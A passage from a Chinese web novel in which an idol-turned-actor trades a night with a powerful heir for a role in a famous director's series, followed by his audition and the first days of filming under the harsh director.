姜如云脸上布满笑容,转身时唇角的笑容却冷了几分,众人可不敢来触白宝戎的霉头。 这位白大少爷,心情好的时候一掷千金不在话下,心情不好的时候整死你也是易如反掌,那被整的人还得夸上一句谢谢白少,否则全家都得滚出奥北市。 倒是也有不怕死地往上凑,都被他冷冰冰的眼神吓回去了。 人人都想在他面前刷个脸熟,但不是找死。 白宝戎心烦意躁的,囫囵喝着酒,脸冷得跟冰坨子似的,他也不需要人劝,就自己框框喝,没多久那瓶价值六位数的红酒便空了。 倒酒的酒侍已经去拿酒,这个空隙,白宝戎脸颊有些热,视线轻轻扫视一周,身旁站着个人,他以为是酒侍回来了,却立刻发现不对劲。 那人的手没有这么骨骼分明,根根顺条笔直,暗光下如玉般的肌肤,五指虚虚一握,顺着手指蜿蜒向下的淡色青筋微微凸起,手腕上一支银色星钻表,表盘有明显的两个字母交汇的logo。 白宝戎顺着他的手朝着他的脸看去,利落精致的眉眼,额前刘海用发胶固定蓬松,唇角挂着淡淡的微笑:“白总,请喝。” 白宝戎把玩着酒杯,没动,目光和江林对视,从他眼底看见了毫无遮掩的欲望和野心,犹如漂亮又野性的猎豹。 “手伸出来。”白宝戎见他毫不闪避他的目光,倒是生出一点兴趣来。 江林堂堂当当的伸出手,掌心朝上。 江林给他倒得酒,又重新回到他手上,以浇花般的方式。 白宝戎淋得慢,盯着他的眼睛,江林半点没躲,酒水顺着他的手指骨骼淌下,打湿了他的衣袖。 他扔下酒杯,扫了眼他的表:“表不错。” “我给你带?”江林用桌上的毛巾,慢条斯理地擦干净了手上的水渍,自然地在他身旁坐下。 白宝戎意味不明的哼笑一声。 江林用湿润的手指抓住他的手腕,轻轻一握,掌心肌肤细腻柔软又冰凉,手表扣在白宝戎手腕上,他端详了一瞬,肯定道:“白少戴着比我好看多了。” 白宝戎量了量沉甸甸的表,酒意上头,心中逆反心理也重,这几年被拘在老爷子身边,清汤寡水,一言一行都受束缚,再也没有之前在小巷子里的随心所欲。 而且他自己心里清楚,他不是正常人,他十六岁就对班上一个漂亮男生硬/过,对女生却毫无反应。 这也是他焦虑的原因之一。 他虽然混,但也知道现在的一切都来源于白老爷子,这些年清心寡欲,不敢和男人搞,又搞不动女人,便只能没滋没味地活着。 现在又被逼婚,旧事重提,他便生起了一点邪火。 眼前这人样貌还是能够入眼的。 “你叫什么名字?”白宝戎撩起眼皮。 “江遂。”江林因为音乐声骤响,凑到白宝戎耳边说话,呼出的热气铺洒在男人耳廓,声音也格外低沉磁性。 白宝戎隔得近,闻到了他身上冷调的香水味,随着他靠近俯身的动作,衣领随着肌肉微微扯开,露出轮廓分明的胸肌,以及冰激凌般冷白的肌肤,曲线分明,豆红如春。 但只是转瞬即逝,视线再回到江林身上时,他已经遮得严严实实,只剩下露出的锁骨和肌肤。 白宝戎觉得这样的手段很低劣,却不得不承认有些直白的欲望更能打动人心,他视线扫过江林那张云淡风轻的脸,问:“你想要什么?” 江林不笑的时候,眉眼间显得冷淡,自带冷感,笑起来带上了一点玩世不恭的味道:“这得看我能给什么。” 白宝戎有些醉,被他笑容晃了一下眼,顺着他问:“你能给什么?” 身边的人和两人隔得不远,他们在旁人眼皮子底下调情。 “你想要的,我都能给。”江林眉梢轻轻跳动,抓着白宝戎那只戴着手表的手腕,用指腹摩梭着。 白宝戎觉得这人胆子确实大,上一个敢爬他床的男人,再也没有在奥北市出现过了,不知是死是活。 但他的视线却不由自主地被那双骨节分明的大手吸引住。 很快,江林便松开了白宝戎,泛红的指头轻轻点了点酒瓶,撑着下巴,露出优越的侧脸,拿起那杯没喝完的香槟走了。 江林这人记仇,不爱吃亏,白宝戎倒在他手上的酒,他得连本带利的还回来。 白宝戎手上多了一张纸条,写着江林的房间号。 第73章 江林从白宝戎身边退开, 虽然两人交谈简短,甚至从外人眼中发生了不小的摩擦,但其他人还是想从他口中套话。 “江遂啊, 你和白少说什么呢?两人这么投缘” 江林唇角含着笑,不动声色地接话道:“白少看上了我手上的表, 我们就多聊了几句。” 从他刚刚主动的举动便可看出来,这位也是个不安分的,而且心气儿高, 妄图钓白宝戎这条大鱼呢。 众人看向他的眼神多了几分意味不明的味道。 白宝戎很快离开了现场,期间没再看江林一眼。 两人仿佛毫无交集。 江林回到保姆车里, 蒋红还不知道江林给自己拉了皮条,找了金主,拿眼瞥了眼闭目养神的江林,道:“我让黄总派人来接你?” 江林这才慢吞吞撩起眼皮,对上蒋红视线,扯了下嘴角:“我约了人。” 蒋红眉头立刻皱了起来:“你这人约谁了?” “白宝戎。” “白宝你说谁?!”蒋红原本不耐烦的神情转变成了震惊, 一双眼死死瞪着江林, 想从他脸上看出真伪。 “白宝戎, 白少。”江林语气带着几不可察的鄙夷:“红姐,我这人脸皮厚, 豁得出去。就算我是猪肉吧, 也不能烂大街的价格卖吧,开了这个头可就是再也涨不了价了所以啊,得物超所值。” 蒋红还没从白宝戎这三个字里缓过神来, 咱们家的野鸡碰上真凤凰了? “等下,白宝戎也不是真的像外界传的那样纨绔无用,这人精明乖戾得很”蒋红见他不似说谎, 稳住心神,她知道白宝戎的事情,还是在上个姘头喝醉了酒告诉她的。 “白老爷子什么人,早年叱咤官场,中年辞官从商,商海沉浮十几年,老当益壮,白宝戎若真没两把刷子,能在白老爷子身边稳坐白少的位置?凭借现在的医疗水平,只要老爷子想,什么白大少,白二少十个八个都能弄出来。” 江林当然知道蒋红说的这些,白宝戎不是草包,只是白家如今人心浮动,白老爷子有自己的打算,便任由谣言四起。 “我你真和他?”蒋红揉了揉狂跳的眼皮。 “不知道啊,名片递出去了,人能不能来不知道,但今晚是没空的。”江林摊手,瞧不出半点紧张,反而噙着戏谑的调笑。 见他这么不正经,蒋红不得不又一次提醒他:“白老爷子前几个子女内斗严重,如今膝下就白宝戎一个,现在重心也全放在他身上。他是正儿八经的金蛋,你可别把人得罪了,否则咱俩都别混了。” 话虽这么说,蒋红有些犹豫,毕竟若是事情败露,只怕江林要被扒层皮。 但俗话说得好,富贵险中求,毕竟白老爷子六七十了,还能好几年? 江林住的酒店在奥北排不上号,却也不算很差,卫生干净,环境宽敞。他没把人往家里领,一来,只是交易没必要弄脏了他的家,二来,也是降低白宝戎的警惕性。 他来得晚,毕竟咖位小,不能提前离场,所以等他到达酒店的时候,已经逼近十二点了。 这事儿他以为黄了呢,没想到全副武装到达酒店的时候,门口立着俩面无表情的壮汉,一双眼直勾勾盯着江林。 江林戴着口罩,眉梢轻轻一挑,他推门进去,没人拦着他,小庄心里十分紧张,两股战战地在隔壁住下。 房间内开着灯,白宝戎正拿手机打游戏,双脚踩在茶几上,背靠着沙发,抬眼凉凉瞅了一眼江林。 江林穿着长款黑风衣,房间并不算豪华,有阳台、客厅、浴室以及床,桌上放着包烟,盒子已经空了。 他摘下口罩,露出那张白净的脸,脸上的妆都卸了,脸白眉浓,没什么歉意地道歉:“对不住啊,耽搁了一点时间。” 白宝戎冷哼一声,关了手机,姿态傲气,凌厉的眼盯着他:“你让我等了两小时,面子真够大的。” 江林唇角撇着一抹邪笑,茶几上摆放的香槟是他提前让酒店准备的,他解开外套,漫不经心地道:“两小时也等了看来白少对我很满意咯?” 窗外夜深风静,房间内明晃晃的灯光落在江林的眼睛里,他的双眼皮褶皱很深,含着水儿,酿着情儿,藏着钩子似的,轻佻又俊美。 “你以为你是什么人物了?”白宝戎不以为然,一般人都明里暗里捧着他,这人倒是胆儿肥。 “那就是白少□□难消,饥渴难耐?”江林抛出另外一种可能,将外套挂在衣架上,正朝着白宝戎一步步靠近。 白宝戎被他挑破,脸色不太好看,心情并不美妙,起身揪着江林的衣领,语调冷:“我是来给自己找不痛快的?” “开个玩笑而已,白少来找我上床,咱两是要真刀真枪干的,连这些耍嘴皮子的话都说不得,真上了床怎么办?”江林抓着他的手腕,那只表已经不翼而飞了。 白宝戎盯着他,松了手,平复了下心情:“什么条件?” “嗯?”江林稍稍抬眼。 “出来卖,也要明码标价吧。”白宝戎说话不客气,伸手轻轻拍了拍江林的脸侧,眼底滑过淡淡的轻蔑:“你这张脸还算不错。” “我也觉得相当不错。”江林丝毫不生气,客客气气地说道:“我不要钱白少可以先验货再谈这些。” 白宝戎看着他眼底的野性和欲望,他和那些贴上来的人不太一样,那些人打着爱他的名头想吸他的血,这人呢,摆明了就是来吸血扒骨的,心思半点没藏。 他轻声笑了一瞬,捏着江林的下巴,指腹轻轻摩梭了一瞬,细腻如绸缎的肌肤,男人身上的香味在独处时显得更加明显。 白宝戎手指轻轻滑过他的唇角,江林偏头在他拇指上亲了一口,眼神带着淡淡的笑意。 “规矩知道吗?不要和第三个人提起今天的事儿。”白宝戎收回手,好整以暇地看着他。 “一锤子买卖?”江林乌黑睫毛长卷,语气微微上扬。 “嗯。”白宝戎没想和这人以后再有什么纠葛,根本不是一路人。 “您放心,我不会自毁前程,也拎得清自己的位置,这事若是被捅出去,第一个死的就是我。”江林显得格外懂事,身上带着浅淡的酒气。 白宝戎似笑非笑地看着他:“你知道就行。” 江林耸了耸肩,眼神染着轻佻的笑意:“来呗,时间不早了,早点干,早点散。” 白宝戎眼神和他缠了一瞬,脸上表情尽数收敛,视线滑过他微微突出的喉结,表情蓦地凶狠,扑了上来,掐着江林的脖子,将人按进沙发里,低头吻了下去。 江林也收敛了笑意,白宝戎咬他的撕咬他的嘴唇,差点咬出血,他拧了下眉,没惯着他,按住他的脑袋,在他舌尖上狠狠咬了口,瞬间便咬破了,血腥味蔓延。 白宝戎睁开眼,偏头骂了一声,操。 “你他妈敢咬我?” 江林望着他,两人叠在一起,肩膀蹭着肩膀,腰腹摩擦着,眼底都冒出一簇簇火苗,舔了舔自己唇角的血:“谁先动手的?只许州官放火,不许百姓点灯呐?你要喜欢跪舔你,捧着你的,我可能不太行,您只能另谋高就了。” 白宝戎低眼睨着江林,这厮倒是半点不怂,仿佛桀骜不驯的野马,但又着实性感,他还就喜欢这种有点儿脾气的,那些软蛋弄起来半点意思都没有。 啧。 白宝戎手指按着他的喉结,重新和江林吻成一团,互相舔着对方的唇舌,谁也不相让 再次意识到事情的不对劲,白宝戎已经是箭在弦上不得不发的状态,两人从一开始就旗鼓相当,不相上下。白宝戎只当江林是野性难驯,最后自然是要躺平被骑的。 结果,没想到倒反天罡、出人意料,江林分毫不让啊。 彼时,两人已经赤条条躺在床上,肌肤之间的摩擦都起了火星子。 白宝戎双眼赤红,眼底阴鸷,语气也恶狠狠的,“你到底他妈的什么意思?” 江林倒是气定神闲,手臂撑着脑袋,面不改色地说道:“没什么意思。” “你还记得谁是金主吗?”白宝戎脸颊涨红,呼吸不畅,面目狰狞,青筋暴起。 江林虽然脸颊泛红,眼神却清明冷淡,没有他这么激动,两人挣扎间手腕都带出了红痕:“白少,你是同性恋吧?” 白宝戎斜眼说:“你说呢?不是同性恋能找你?” “那都是同性恋了,在乎什么位置?能爽不就行了?不然您自己撸不是同样的效果?”江林不准备强来,你情我愿的事情,他没想闹成惨剧:“您接受不了,我也不强求。” 白宝戎气得够呛,只感觉自己好像被耍了,这男人啊,都是走下三路的东西,没几个人像江林这般说停就能停的,冷静得不像男人。 有些时候那什么虫上脑,就什么都管不了。 事实证明,江林算得没错,白宝戎没有立刻起身离开,他视线扫过江林的腹肌,蒙着一层细细的汗渍,仿佛裹了蜜的糖果。 他自己也有肌肉,却感觉长得没江林漂亮,江林的曲线也蓬勃有力,性感得不行。 最终,他没离开,两人在床上翻云覆雨了一个来回没打住,金主要求再来一次,江林没拒绝 情事打住,两人前后去浴室洗了澡。江林抓了抓半干的发丝,白宝戎躺在床上玩手机,泻火之后,情绪都没那么易怒阴沉了。 “事情完了,你还没说你想要什么呢。”白宝戎没忘记这事儿。 “明若卿明导最近在筹备新剧,我也想进名导的剧组。”江林将事先想好的好处说了出来。 白宝戎脸色微怔,没想到他的要求是这个。 明若卿和他关系还不错,十八岁进入白家之后老爷子介绍认识的好友,不说臭味相投,但也有些交情。 但这事儿却不好办。 “能不能换一个?”白宝戎拧着眉,嫌麻烦。 江林只是问:“您觉得今晚感觉怎么样?” 白宝戎抿起嘴唇,说不出一个不字。 “如果实在为难,也没关系,能和白少好一场,也不算我吃亏。”江林装模作样地叹了一口气。 “你够了,我帮你想想招。”白宝戎也不想第一次约就整出意外,显得他多没用? 明若卿这人也是世家子弟,从小含着金汤勺出生的,明家老大,却没从政没从商,最后投身了演艺事业,成为了一鸣惊人的天才导演。 出道后的每部作品,都是反响极好,成为最年轻获得金顶导演奖的人。 明若卿这人不缺钱,不缺人脉,几乎没有软肋,全凭心意办事,要想把江林塞进去还真有难度。 见他拧眉沉思,江林便顺势躺在他旁边。 “你还不走?”白宝戎见他自顾自地躺下,出声问。 “这是我开的房间。”江林拉上被子盖住,背对着他,声音带着倦意。 意思是,该走的人是他。 白宝戎盯着他的后脑勺,抬脚想将人踹下去,但最后动作变成了摸,在他腰上摸了摸,江林转过来,盯着他。 白宝戎便抬起他的下巴吻他,临摹江林性感的唇形,唇舌交缠,仿佛意犹未尽般,手在他身上摸来摸去。 “操了,你让老子也干一次?”白宝戎吸了一口他的唇,盯着江林泛红的眼尾看。 “不了,我干不了那活儿。”江林没有犹豫地拒绝。 “你刚刚不是还说同性恋只要爽?”白宝戎今天喝了不少酒,当时脑袋里全是浆糊,所以才被江林轻而易举唬住,现在全反应过来了。 江林舔了舔自己湿漉漉的唇角,勾起一点笑:“我不喜欢。” 白宝戎垂下眼盯了他几眼,眼神逐渐危险。 江林便压下他的脑袋,轻轻碰了碰他的嘴唇,敷衍道:“下次一定。” 白宝戎穿起衣服离开了,江林也懒得理他,白宝戎虽然混,却不是言而无信、欺男霸女的脑残,所以他也不着急,心安理得地睡了。 后来,白宝戎不知道哪里知道他的银行卡账号,还给他转了一笔钱,不知道是封口费还是小费,总之还挺大方。 第74章 难得江林睡了一个长又稳的觉, 他明明记得今天还要参加商演,但小庄没有来叫他,手机也安安稳稳地没有响起。 等他自然醒, 已经是中午,他揉了揉有些昏涨的脑袋, 拿起手机,看见了小庄和红姐的消息。 小庄:【我和红姐说了昨天晚上的事情她说今天不要打扰你,工作都推掉了。】 红姐:【醒来给我回电话。】 蒋红大概没想到江林真的能成事, 甚至做了两手准备,如果白宝戎那边没动静, 便安排其他人。 江林拨出电话,脸埋在被子里,声音闷闷地:“红姐?” 蒋红那边声音不稳,正在急速走路,“成功了?” “嗯。”江林没穿衣服,露出冷白的胸膛, 抬手间手臂肌肉微微紧绷, 肩胛骨的肌肉随着动作鼓起, 有些斑驳的红痕,是白宝戎情动时嘬的。 “那怎么说?”蒋红呼吸一静, 停下脚步, 静静等待他的结果,心跳声砰砰直跳。 江林嘟囔了一句:“我说我要进明若卿的剧组,以白宝戎的性格最少也是个男三吧, 不然他白少的面子哪里搁?” 蒋红没有问为什么做这个决定,脑海中已经闪过无数种借此营销的想法。明若卿不是善茬,在娱乐圈十年, 几乎没有扑剧,电影也是屡屡获奖,捧出的影帝影后更是一箩筐,成为明若卿的男主男配,几乎自带热度。 “但明导真的会答应吗?”蒋红不确定地说道,就算白宝戎面子再大,明若卿也不一定会卖他面子。 “不知道啊,就算进不了,白宝戎也不会白嫖我的,放心好了红姐。”江林轻笑一声:“如果白宝戎真这么没品,我就曝光他。” 蒋红眉心狠狠跳了一下:“你可别找死,行了,你今天好好休息,通告明天我再给你安排。” “行。”江林挂了电话,却也没有继续睡,让小庄给他准备了点饭菜。 小庄紧紧盯着他,在他吃第五口的时候,鼓起勇气阻止:“哥,不能再吃了,我们要控制体重。” 明星上镜胖十斤不是说着玩的。 江林知道这些,只能依依不舍地吃掉了筷子上沾着的那一粒米饭,砸吧砸吧嘴,“走吧,去健身房。” 身为艺人,保持身材和状态是基本的操守。 /// 怎么让明若卿松口,的确是个大问题,白宝戎和明若卿不算熟悉,但和他弟弟明若童关系不错。 每个豪门的通病,明家也是私生子遍地爬,明若卿和明若童是明家一母同胞的兄弟,母亲早亡,明若童可以说是明若卿带大的。 明若童是个实打实的纨绔子弟,不务正业,飙车泡妞,拳打私生子,脚踹狐狸精。 就这么说吧,明家私生子除了那个还在襁褓中的婴儿,就没有没被明若童扇过的,但明清(明家兄弟的父亲)却视而不见,谁让明若卿和明若童的外公大有来头,得罪不起。 就算这么多年,明若卿母亲去世,他也不敢再娶,就是不敢得罪正当权的老丈人。 而白宝戎和明若童虽然相差七八岁,但臭味相投,关系不错,一起喝过酒,一起飙过车,明若童还欠他人情。 明若童有一次滑雪,发生雪崩,他被埋进雪里。明若卿当时在国外长鞭莫及,明清泡在温柔乡,哪里关心你这个小儿子的死活。 刚好白宝戎在附近应酬,得到消息毫不犹豫组织了自家的直升机搜救队,将人从雪堆里挖出来的。 自此,明若童就一直把他当好兄弟。 明若童今年才成年,挑染着几簇红红绿绿的头发,穿着皮衣,上面几颗铆钉,耳钉、唇钉、舌钉样样不落,活脱脱一个机车鬼火少年。 白宝戎倒不是瞧不起明若童,毕竟他自己年少时候也叛逆过,装成大人摸样,但现在看见这样的明若童,还是会忍不住嘴角抽搐,不忍直视。 白宝戎唇角噙着笑,给明若童倒了一杯酒。 明若童松开怀里的漂亮姑娘,笑嘻嘻地凑上前,喊了一声:“宝哥,最近都没怎么看见你,你去哪快活了?” “哪里快活?被我家老爷子抓着在公司上班呢,朝九晚五的,累得够呛。”白宝戎叹气道。 明若童怀疑地看着他:“上班很难吗?你去公司不就是摆设嘛?难不成还真要做事啊?” 白宝戎懒得和他解释其中腌臜的事情。 “若童,我们是不是兄弟?”白宝戎直奔主题,端起酒杯和他碰了碰:“我有点事儿要求你。” 明若童这人讲义气,一听白宝戎有事求自己,顿时来了精神,白宝戎可从来没用这种语气求过他:“你说。” “你哥最近不是在筹备新剧吗?我有个相好的,他是个演员。”白宝戎见他瞪大了双眼,倏然便压低了声音。 “但我不方便出面,你也知道我们家老爷子管得严,所以你一定要答应我保守秘密,不能让第三个人知道。” “我靠!我靠!不是,宝哥你相好男的女的?”明若童双眼兴奋起来。 “男的。”白宝戎知道明若童不会轻易说出去,便故意弄得神神秘秘,用情至深的样子。 “好好好,难怪我说宝哥你看见漂亮妞屁股都不歪一下,原来是喜欢带把的,这事包在我身上,我去跟我哥说。”明若童没把明若卿的事业当回事儿,只以为塞个人进去轻而易举。 毕竟从前没人找他帮过这忙,他不知道有多难,后来差点在他哥面前一哭二闹三上吊才把事情办成。 白宝戎唇角滑过一丝笑意,喝下那杯辛辣的白酒。 这种麻烦事儿,不准备再来第二遍。 /// 江林得到消息的时候,正在海边拍照,穿着黑色渔网,大露身材,半边身体浸泡在水中,仿佛从海中爬上来的美人鱼。 时间过去大半个月,江林还以为这事儿没有后续了呢。 “明导剧组的副导演给我打了电话,说让你明天下午去试镜。你晚上准备一下,试戏片段我都发你手机上了。”蒋红也是激动得不行,还在酒会上呢,就迫不及待地走出来给他打电话。 江林擦了擦脸上的水,眉骨还贴着贝壳鱼鳞似的亮片,等出片之后,他选了几张往某博上发了几张,他某博上两百五十万粉丝,其中两百万是花钱买的。 照片一发也有百来个评论,几千个点赞,显得有些苍凉。 明若卿这部电视剧,仙侠题材,却不是现在仙侠的情情爱爱,为了爱情能毁掉整个苍生,而是苍生为爱,众生为情的故事。 分为多个单元,算是群像剧。 江林拿到的这个角色,不是男主,也不是男二,更不是主角团,而是某个单元的主角。 白宝戎觉得明若童最少能给江林争取一个戏份比较多的角色,没想到明若卿却是个心狠的,弟弟以‘命’威胁也只给江林换来了一个小角色。 修炼百年的蛇妖,化作人形,曾为祸人间,食人心魄,杀人如麻。仙池一地人心惶惶,随着主角团的到来,蛇妖抓住了男主,男主并非最强,反而是初修炼的小道士。 但具有通灵的神通,能够借先人的术法。 蛇妖没能顺利杀死男主,最终被击败逃窜,后几人追杀蛇妖,通过一系列的调查发现仙池县大有异常,其中有长生不老的圣女,有人人敬畏的大仙,有喝了就能生孩子的圣水 最后真相大白,蛇妖曾是此地的守护神,仙池是他的栖息地,此前从未害过人,“圣女”阿柚乃是他年少时喜欢的姑娘,但人妖殊途,被家人许配给了抓妖师。 谁知这抓妖师是个黑心肝的,以阿柚为饵,用术法控制蛇妖为他做事,阿柚也成为了圣女,容颜不老,在抓妖师的威胁下,诞下了他的孩儿便是本文的女主。 事情真相大白,术法解除,蛇妖吃掉了抓妖师,深深看向阿柚,最后自毁妖丹而亡,阿柚漂亮而圣洁的脸上淌下两行清泪 /// 这些剧情不是蒋红发给他的片段里有的,几千字的文字里只有蛇妖的残暴杀戮,没有任何一点反转的影子。 若是江林用力过猛,毫无人性,怕是要被挑错的,毕竟蛇妖是迫不得已,总要表现出些许端倪。 他撇了撇嘴,小庄听见自家艺人,吐槽般道:“什么嘛?潜规则还需要试镜啊” 如果他演技太差,江林完全相信明若卿根本不会要他。 江林又琢磨了一会儿,看着手机上的文字,犹豫了一瞬,又觉得自己心思太多,也许明若卿就想看他能不能演好一个坏角色呢? /// 天气不太好,阴沉沉的,乌云缀天,雨要落不落的,压在人心头莫名的心慌,江林一直在每个世界当演员,所以演技方面还是不错的。 但他需要表演出及格的演技,若是演技无可挑剔,那矛盾哪里来呢。 在明若卿的工作室,候场等着不少人,小庄蒋红都来了,偌大的会客厅,有小有名气的演员,也有名不见经传的学生。 在工作室外面还围着不少人,就是想得到一个试镜的机会。 江林没化妆,穿着毛衣,半永久镶嵌在他脸上的墨镜,嘴唇薄而红,叉着手靠在椅子上,在远处看派头十足,还以为是什么大明星呢。 “啧,红姐,你们娱乐圈都这样吗?走后门还要这么麻烦呢?一点看不出来我是资源咖。”江林似笑非笑地说道。 蒋红嘴角抽搐,“别人生怕被扣上资源咖的名头,你倒好迫不及待戴上啊。” “资源咖有什么不好的,有戏演,能红,有流量,被骂几句算什么。”江林看得开。 蒋红:“” 等轮到江林的时候,已经过去两小时了,江林大概知道这是故意整他呢,旁边的人都是试镜别的角色,只有他是佘莫角色的试镜演员。 一间四面通透的房间,主角早已经确定,现在是在选配角。 明若卿的剧组,是导演的一言堂,他此刻没什么表情坐在中间的位置,脸上戴着墨镜,一个黑色的鸭舌帽,拿着手上的简历,隔着墨镜,那凌厉的眼神也落在江林身上。 江林慢吞吞摘下眼镜,勾起颇为灿烂的笑容,露出小白牙:“大家好,我是江遂,试镜佘莫。” 明若卿穿着夹克衫,明明还没三十,却看起来极为老成沉稳,嘴唇轻轻抿起,对于江林没有任何的好感。 如果不是明若童胡闹,像江林这种爱豆出身的演员甚至得到入场券,且他有些怀疑,明若童“力荐”江林,两人是不是发生了什么交易。 肉/体交易,在娱乐圈可是最常见的,况且江林这张脸的确有这个资本。 他搜了江林的资料,才给他这个角色的,重要的角色都已经定好,他不会出尔反尔。 副导演是个中年人,喝了一口茶,眼神落在江林身上,笑了笑:“来吧,开始你的表演。” 身后的投影仪上投影着他表演的片段。 江林散满的眼神蓦然变得阴冷,如同蛇般变得阴湿,他无实物拧断人的头颅,细细的端详手中的人头,唇角勾着参杂邪气的笑容,眼皮殷红,歪头看着逃窜的村民。 这一场戏是他收到主人的指令屠戮村民,勾摄亡魂。 然后他需要和捉妖师主人汇报战况,而此刻主人正和圣女夫妻恩爱,他跪在门外等候传唤。 副导演摸着下巴,意味深长地望着江林,他是导演钦点的演员,演技方面另说,更让人好奇的是他和导演的关系。 明若卿看着半跪在地上的江林,如果没有演技的人,其实是比较适合演那种冷脸木头角色的,因为只要不笑就好了。 而江林演的佘莫前期就是这种冷脸木头。 “谢谢大家,我演完了。”江林站起身来,原本苦大仇深的脸上出现一丝笑意,态度还算恭敬。 “好的,回去等消息吧。”副导演开口。 明若卿自始至终都没有开口。 江林也没有墨迹,转身离开,等了两小时,表演五分钟。 副导演等他离开,才偏头问导演:“导演,您觉得怎么样?” 明若卿不客气地道:“画虎类犬。” “哈哈哈,像他这种非科班出身的演员,演成这样算不错了,大概还是练过的,您不知道他之前演的短剧,更加辣眼睛” 明若卿没什么表情。 /// 但最终江林还是成功入选了。 明若卿的剧热度很大,开机仪式更是里三层外三层被围得水泄不通,江林的车好不容易挤进去,男主和女主都是自带流量的大明星,但面对明若卿也是毕恭毕敬、点头哈腰的。 一清水的流量明星。 网上都在唱衰,说明导即将翻车,最终还是屈服于流量,十年口碑毁于一旦。 因为从前明若卿的选角不看咖位,多扶持小演员,这是第一次全明星阵容。 网上各家粉丝撕得飞起,其中女主和女配,男主和男配都是对家,互相泼脏水,还没开始拍,热度就空前绝后地大,某博广场上撕得腥风血雨,但开机现场却看不出多少火花。 毕竟没人敢挑战明若卿的权威,甭管心中想法,脸上都是其乐融融的笑,江林站在后面,在一群人中不争不抢的,打了个哈切。他的戏份比较早,开机仪式结束就要马不停蹄地去试装,围读剧本等等。 江林的戏份若是顺利,最多半个月就拍得完,他也没去找白宝戎多说什么,一场欢好,最后落得个小小配角的戏份。 显得他白大少也不怎么值钱了。 /// 在这期间,江林趁乱买了热搜,他一个在团爱豆出现在明若卿剧组,顿时骂声一片,不敢质疑明若卿的选角,却抓着江林骂他资源咖,骂他德不配位。 宁星安的粉丝像是闻着血腥味的鲨鱼,纷纷上前咬一口,骂得江林狗血淋头。 小庄都佩服江林的心态,硬是在一群小花小生的争奇斗艳下,杀出一条血路,被骂上热搜。 江林却没事人般,抱着手机笑,看他们各家配丑照,玩烂梗。 还忍不住给蒋红打电话八卦,那谁谁粉丝说的是真的吗? 忍受不了他的轰炸,蒋红把他的电话屏蔽了。 江林正式进组,在拍摄场地租了一个月的酒店,他身边就跟着小庄。 他咖位小,说不上话,和他搭戏的两人一个是最近金顶奖提名的最佳女配,一位是童星出道的老戏骨,两人在一起有说有笑的,江林在他们身后当空气。 明若卿也没有额外和江林多说一句话,但是第一场戏,江林就被明若卿臭骂了一顿。 “江遂,你这是在干什么?”明若卿的声音很冷淡,带着尖锐的质问语气,犹如尖刀般刮着人的骨血。 江林在演的片段是蛇妖年少和喜欢姑娘的初次见面,穿着一套白色的古装,头上戴着花冠,眉心有自制的黑色标志,整个人仙气飘飘似的,这是没黑化前的佘莫。 和他搭戏的女演员叫尤亿头上插着摇晃的簪子,这场戏是她许下愿望希望娘亲重病痊愈,愿望实现后来山上还愿,两人的第一次相遇。 “”江林沉默了一瞬,他刚刚虽然故意演得粗劣了一些,但也不至于这么差吧,明若卿远远盯着他,一双眼冰块似的。 “你看向她的眼神是看信徒的温和,不是流氓看见良家妇女。”明若卿一阵见血地说道。 “能演演,演不了就滚蛋。” 这句话好像很多导演都喜欢说。 但的确是这样,导演掌握生杀大权,不到播出,他们随时有权力把你辛辛苦苦拍的戏一刀切,让你查无此人。 江林没说话,倒也没有当着这么多人顶撞明若卿,“抱歉,再来一次。” 现场的气压很低,尤亿朝江林递了个眼神,认真带着他入戏。 “江遂不要看摄像头!要说多少遍?” 江林身为爱豆有看摄像头的习惯,因此挨了不少骂。 明若卿气场很强,看着冷,其实是个性子暴躁的,若是遇见蠢得,骂的极难听,让童星出身的陶闲滚回去吃奶 一视同仁,都是挨骂。 江林就踩在他要发火的边缘线上,在明若卿想要骂人的前一秒,表演出他想要的结果,他那口气就只能生生憋回去。 倒也不是那种完全不讲道理的。 “我算是知道为什么现在童星都混得这么差,你这演技和我说演了十几年戏?真是笑掉大牙。”明若卿冷嘲热讽,江林正坐在旁边背台词,看着摄像机下面红耳赤的陶闲,他还只能赔笑道歉。 江林丝毫不怀疑一部剧拍完,明若卿仇人又得多几百号人。 但下次明若卿的戏,还是挤破脑袋都想进,没办法,谁让他拍的剧火呢。 “我不知道陶闲什么脾气,如果导演这么骂我,我高低和他干起来”江林用剧本遮住唇,歪头和小庄说。 “然后你记得拍下来,明天咱们就喜提热搜。” 明若卿的脾气在业界都是有名的坏,之前参演他戏的演员很多都曾在访谈节目中以玩笑的口吻吐槽过,可见其残暴。 江林敢说,小庄都不敢听,连忙阻止江林继续说,这套班底可都是明若卿养着的人。 “啧,不过陶闲着演技,还真差啊。”江林却胆子大,吃瓜吃得爽:“他是怎么被选上的?不会也是走后门吧?” 小庄还没说话呢,旁边的男生突然开口,对着江林怒目而视:“你才是走后门呢!我们陶闲是靠实力进来的!” 这人是陶闲的助理。 哦豁,说人坏话被抓包咯。 走后门咋了,开了后门还不让人走了? 江林呵呵两句,搬着凳子移开。小庄冷汗都吓出来了,生怕江林因为口不择言挨揍。 在片场八卦多,江林混得如鱼得水,脾气开得起玩笑,长得又帅,和小姑娘打趣,没人拒绝得了他这张脸。 化妆师、服装师、道具组等等一周时间全混熟了。 江林站在楼梯间的窗边抽烟,旁边是道具组的老大哥,“抽不抽这个?外国烟。” 老大哥笑起来满脸褶子,接过江林的烟,视线扫过他那张上妆之后妖异漂亮的脸,薄薄的嘴唇含着烟,没涂口红也红艳艳的,还真像个吸人精血的蛇妖。 “大哥,想说什么就说呗,别把自己憋坏了。”江林看出他的欲言又止,唇角含着笑,空旷的楼梯间都是两人说话的回音。 老大哥压低了声音,实在好奇,便问:“我说这话你别生气啊,他们都说你走后门进来的,你是导演的小情人?” 江林并不意外地轻哼一声,早就知道那些人在他背后蛐蛐他。他咬着烟笑了一下,玩笑道:“就明导那管制刀具一样的嘴,我可不敢亲。人我也不敢搞,我怕他上了床还要控制我的快慢,深浅” 明若卿的确是一个控制欲极强的人,剧中一点一丝的细节都要吹毛求疵。 两人把这话当个屁放了,相视一笑,不知道信没信。 “你先抽着,我道具组那边要先去布置了。”他两口抽完便走了,江林倚在窗户边上眺望远处的青山。 直到身后传来脚步声,是从楼梯上方传来的,近在咫尺,他歪头看去,问了一句:“谁呀?” 透过旋转的楼梯,江林对上一双冷酷的风眼,熟悉的脸,在此刻像是噩梦般的存在,他唇角抽搐一瞬,眼睁睁看着明若卿逼近。 明若卿戴着万年不变的黑帽子,帽檐下的眼睛冰冷又暴躁,像是裹在冰雪下的火山。 江林眉梢轻轻一挑,这是全听见了啊。 第75章 楼梯间暗光浮动, 